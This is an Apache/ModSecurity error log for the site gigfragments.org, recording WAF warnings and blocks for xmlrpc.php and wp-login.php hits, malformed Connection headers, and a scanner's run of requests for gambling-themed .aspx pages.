[Sat May 02 12:48:54.938155 2026] [:error] [pid 53434:tid 53445] [client 76.11.22.141:60557] [client 76.11.22.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 76.11.22.141, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afWCNu9BXmRQcbfsxlwvJAAAAAI"]
[Sat May 02 12:49:10.810358 2026] [:error] [pid 51950:tid 51993] [client 76.11.22.141:50489] [client 76.11.22.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 76.11.22.141, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afWCRooBJzYZ3RKUhdjycQAAAk0"]
[Sat May 02 12:49:33.091380 2026] [:error] [pid 53434:tid 53461] [client 76.11.22.141:50857] [client 76.11.22.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 76.11.22.141, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afWCXe9BXmRQcbfsxlwvSQAAABI"]
[Sat May 02 12:51:25.096519 2026] [:error] [pid 11894:tid 11912] [client 185.108.129.81:59966] [client 185.108.129.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.108.129.81, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afWCzTHh6DQF1tkXIKykEAAAAU8"]
[Sat May 02 13:00:22.614000 2026] [:error] [pid 51917:tid 51930] [client 211.21.61.244:37050] [client 211.21.61.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.21.61.244, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afWE5q7wZviJ7BgcCi8RkgAAAcs"]
[Sat May 02 14:03:02.024258 2026] [:error] [pid 51950:tid 51989] [client 94.198.218.33:54446] [client 94.198.218.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.198.218.33, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afWTlooBJzYZ3RKUhdgBMQAAAkk"]
[Sat May 02 14:48:06.323462 2026] [:error] [pid 53435:tid 53490] [client 216.24.219.44:21245] [client 216.24.219.44] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.219.44, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afWeJoDmp7_z8QkjSzOEaQAAAFI"]
[Sat May 02 16:58:14.288673 2026] [:error] [pid 52010:tid 52046] [client 114.119.159.39:56025] [client 114.119.159.39] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afW8pgiR6wohDtdeJMD4JAAAAsM"]
[Sat May 02 16:59:39.778065 2026] [:error] [pid 52010:tid 52058] [client 114.119.159.39:56027] [client 114.119.159.39] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afW8-wiR6wohDtdeJMD4fgAAAs8"], referer: http://gigfragments.org/
[Sat May 02 17:01:06.541353 2026] [:error] [pid 52010:tid 52047] [client 114.119.159.39:56029] [client 114.119.159.39] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/participate"] [unique_id "afW9UgiR6wohDtdeJMD5FwAAAsQ"], referer: https://gigfragments.org/publications-and-outcomes
[Sat May 02 17:18:23.832826 2026] [:error] [pid 22846:tid 22866] [client 114.119.134.93:44661] [client 114.119.134.93] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/terms-of-service/"] [unique_id "afXBX4m1Ms03Mfhp3abwhgAAARI"], referer: https://gigfragments.org/terms-of-service/
[Sat May 02 17:52:35.399543 2026] [:error] [pid 52012:tid 52087] [client 157.90.125.175:44266] [client 157.90.125.175] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.90.125.175, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afXJY0zSWr-8cpS83mhusgAAA0o"]
[Sat May 02 17:58:30.361917 2026] [:error] [pid 53435:tid 53489] [client 65.108.45.224:33568] [client 65.108.45.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 65.108.45.224, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afXKxoDmp7_z8QkjSzOW1wAAAFE"]
[Sat May 02 18:11:46.686521 2026] [:error] [pid 52012:tid 52081] [client 157.90.35.146:56694] [client 157.90.35.146] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.90.35.146, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afXN4kzSWr-8cpS83mhzIwAAA0Q"]
[Sat May 02 18:15:20.774998 2026] [:error] [pid 22846:tid 22870] [client 43.130.37.243:36560] [client 43.130.37.243] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afXOuIm1Ms03Mfhp3abzwwAAARY"]
[Sat May 02 18:22:46.930868 2026] [ssl:error] [pid 52012:tid 52091] [client 65.108.35.68:50990] AH02032: Hostname ipixtitude.com provided via SNI and hostname gigfragments.org provided via HTTP have no compatible SSL setup
[Sat May 02 18:42:05.202329 2026] [:error] [pid 51950:tid 51980] [client 35.198.41.118:41598] [client 35.198.41.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.198.41.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afXU_YoBJzYZ3RKUhdhDnQAAAkA"]
[Sat May 02 18:47:37.751676 2026] [:error] [pid 52012:tid 52098] [client 46.101.89.245:36888] [client 46.101.89.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.101.89.245, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afXWSUzSWr-8cpS83miAigAAA1U"]
[Sat May 02 19:12:44.846921 2026] [:error] [pid 11894:tid 11907] [client 163.61.60.30:59100] [client 163.61.60.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.61.60.30, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afXcLDHh6DQF1tkXIKzRvAAAAUo"]
[Sat May 02 19:21:58.652653 2026] [:error] [pid 53435:tid 53473] [client 43.164.194.198:49962] [client 43.164.194.198] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "afXeVoDmp7_z8QkjSzOqagAAAEE"]
[Sat May 02 20:44:36.440187 2026] [:error] [pid 52010:tid 52056] [client 173.214.162.14:58314] [client 173.214.162.14] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.214.162.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afXxtAiR6wohDtdeJMAlLQAAAs0"]
[Sat May 02 20:52:45.556013 2026] [:error] [pid 51917:tid 51942] [client 35.234.37.132:53766] [client 35.234.37.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.234.37.132, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afXzna7wZviJ7BgcCi9OogAAAdc"]
[Sat May 02 21:40:49.458547 2026] [:error] [pid 53434:tid 53456] [client 51.77.218.191:51428] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "afX-4e9BXmRQcbfsxlyRnQAAAA0"]
[Sat May 02 21:40:51.381916 2026] [:error] [pid 52010:tid 52058] [client 51.77.218.191:43382] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "afX-4wiR6wohDtdeJMAvYwAAAs8"]
[Sat May 02 21:40:53.176972 2026] [:error] [pid 53435:tid 53488] [client 51.77.218.191:43384] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "afX-5YDmp7_z8QkjSzPMgAAAAFA"]
[Sat May 02 21:40:55.188688 2026] [:error] [pid 51917:tid 51924] [client 51.77.218.191:43394] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "afX-567wZviJ7BgcCi9UKAAAAcU"]
[Sat May 02 21:40:57.032649 2026] [:error] [pid 22846:tid 22863] [client 51.77.218.191:43400] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "afX-6Ym1Ms03Mfhp3aYA1AAAAQ8"]
[Sat May 02 21:40:58.815185 2026] [:error] [pid 51950:tid 52000] [client 51.77.218.191:43402] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "afX-6ooBJzYZ3RKUhdhf4wAAAlQ"]
[Sat May 02 21:41:00.786280 2026] [:error] [pid 52012:tid 52083] [client 51.77.218.191:43418] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "afX-7EzSWr-8cpS83mi6lgAAA0Y"]
[Sat May 02 21:41:02.762620 2026] [:error] [pid 52012:tid 52079] [client 51.77.218.191:49838] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "afX-7kzSWr-8cpS83mi6mgAAA0I"]
[Sat May 02 21:41:04.601439 2026] [:error] [pid 11894:tid 11913] [client 51.77.218.191:49844] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "afX-8DHh6DQF1tkXIKzfNwAAAVA"]
[Sat May 02 21:41:06.407405 2026] [:error] [pid 22846:tid 22853] [client 51.77.218.191:49854] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "afX-8om1Ms03Mfhp3aYA2wAAAQU"]
[Sat May 02 21:41:08.336275 2026] [:error] [pid 51950:tid 51984] [client 51.77.218.191:49866] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "afX-9IoBJzYZ3RKUhdhf6wAAAkQ"]
[Sat May 02 21:41:10.370581 2026] [:error] [pid 52012:tid 52094] [client 51.77.218.191:49882] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "afX-9kzSWr-8cpS83mi6pQAAA1E"]
[Sat May 02 21:41:12.152808 2026] [:error] [pid 22846:tid 22870] [client 51.77.218.191:49104] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "afX--Im1Ms03Mfhp3aYA3gAAARY"]
[Sat May 02 21:41:13.967771 2026] [:error] [pid 52012:tid 52084] [client 51.77.218.191:49110] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "afX--UzSWr-8cpS83mi6rgAAA0c"]
[Sat May 02 21:41:15.791452 2026] [:error] [pid 53434:tid 53454] [client 51.77.218.191:49114] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "afX---9BXmRQcbfsxlyRoAAAAAs"]
[Sat May 02 21:41:17.744218 2026] [:error] [pid 22846:tid 22869] [client 51.77.218.191:49122] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "afX-_Ym1Ms03Mfhp3aYA3wAAARU"]
[Sat May 02 21:41:19.732961 2026] [:error] [pid 52124:tid 52145] [client 51.77.218.191:49130] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "afX-_zjabaZ9NMm8eQuLqwAAA5A"]
[Sat May 02 21:41:21.659540 2026] [:error] [pid 53435:tid 53483] [client 51.77.218.191:44120] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "afX_AYDmp7_z8QkjSzPMmAAAAEs"]
[Sat May 02 21:41:23.449331 2026] [:error] [pid 51950:tid 51997] [client 51.77.218.191:44124] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "afX_A4oBJzYZ3RKUhdhf8AAAAlE"]
[Sat May 02 21:41:25.398308 2026] [:error] [pid 53434:tid 53452] [client 51.77.218.191:44126] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "afX_Be9BXmRQcbfsxlyRpgAAAAk"]
[Sat May 02 21:41:27.468998 2026] [:error] [pid 53436:tid 53515] [client 51.77.218.191:44140] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "afX_B69N0xp8fccVM0DXowAAAJA"]
[Sat May 02 21:41:29.399394 2026] [:error] [pid 52124:tid 52144] [client 51.77.218.191:44150] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "afX_CTjabaZ9NMm8eQuLrQAAA48"]
[Sat May 02 21:41:31.297330 2026] [:error] [pid 52012:tid 52099] [client 51.77.218.191:34002] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "afX_C0zSWr-8cpS83mi6zgAAA1Y"]
[Sat May 02 21:41:33.218773 2026] [:error] [pid 53436:tid 53504] [client 51.77.218.191:34004] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "afX_Da9N0xp8fccVM0DXpwAAAIU"]
[Sat May 02 21:41:35.139794 2026] [:error] [pid 51950:tid 51997] [client 51.77.218.191:34018] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "afX_D4oBJzYZ3RKUhdhf-QAAAlE"]
[Sat May 02 21:41:37.051064 2026] [:error] [pid 51950:tid 51993] [client 51.77.218.191:34024] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "afX_EYoBJzYZ3RKUhdhf_gAAAk0"]
[Sat May 02 21:41:38.976163 2026] [:error] [pid 53435:tid 53487] [client 51.77.218.191:34026] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "afX_EoDmp7_z8QkjSzPMqgAAAE8"]
[Sat May 02 21:41:40.762436 2026] [:error] [pid 53434:tid 53446] [client 51.77.218.191:34038] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "afX_FO9BXmRQcbfsxlyRqgAAAAM"]
[Sat May 02 21:41:42.662556 2026] [:error] [pid 53436:tid 53514] [client 51.77.218.191:48770] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "afX_Fq9N0xp8fccVM0DXqwAAAI8"]
[Sat May 02 21:41:44.604130 2026] [:error] [pid 51950:tid 51993] [client 51.77.218.191:48774] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "afX_GIoBJzYZ3RKUhdhgCQAAAk0"]
[Sat May 02 22:17:03.167408 2026] [:error] [pid 11894:tid 11898] [client 149.224.86.158:59702] [client 149.224.86.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "afYHXzHh6DQF1tkXIKziiQAAAUE"]
[Sat May 02 22:17:05.147186 2026] [:error] [pid 52012:tid 52081] [client 149.224.86.158:60204] [client 149.224.86.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "afYHYUzSWr-8cpS83mjHNQAAA0Q"]
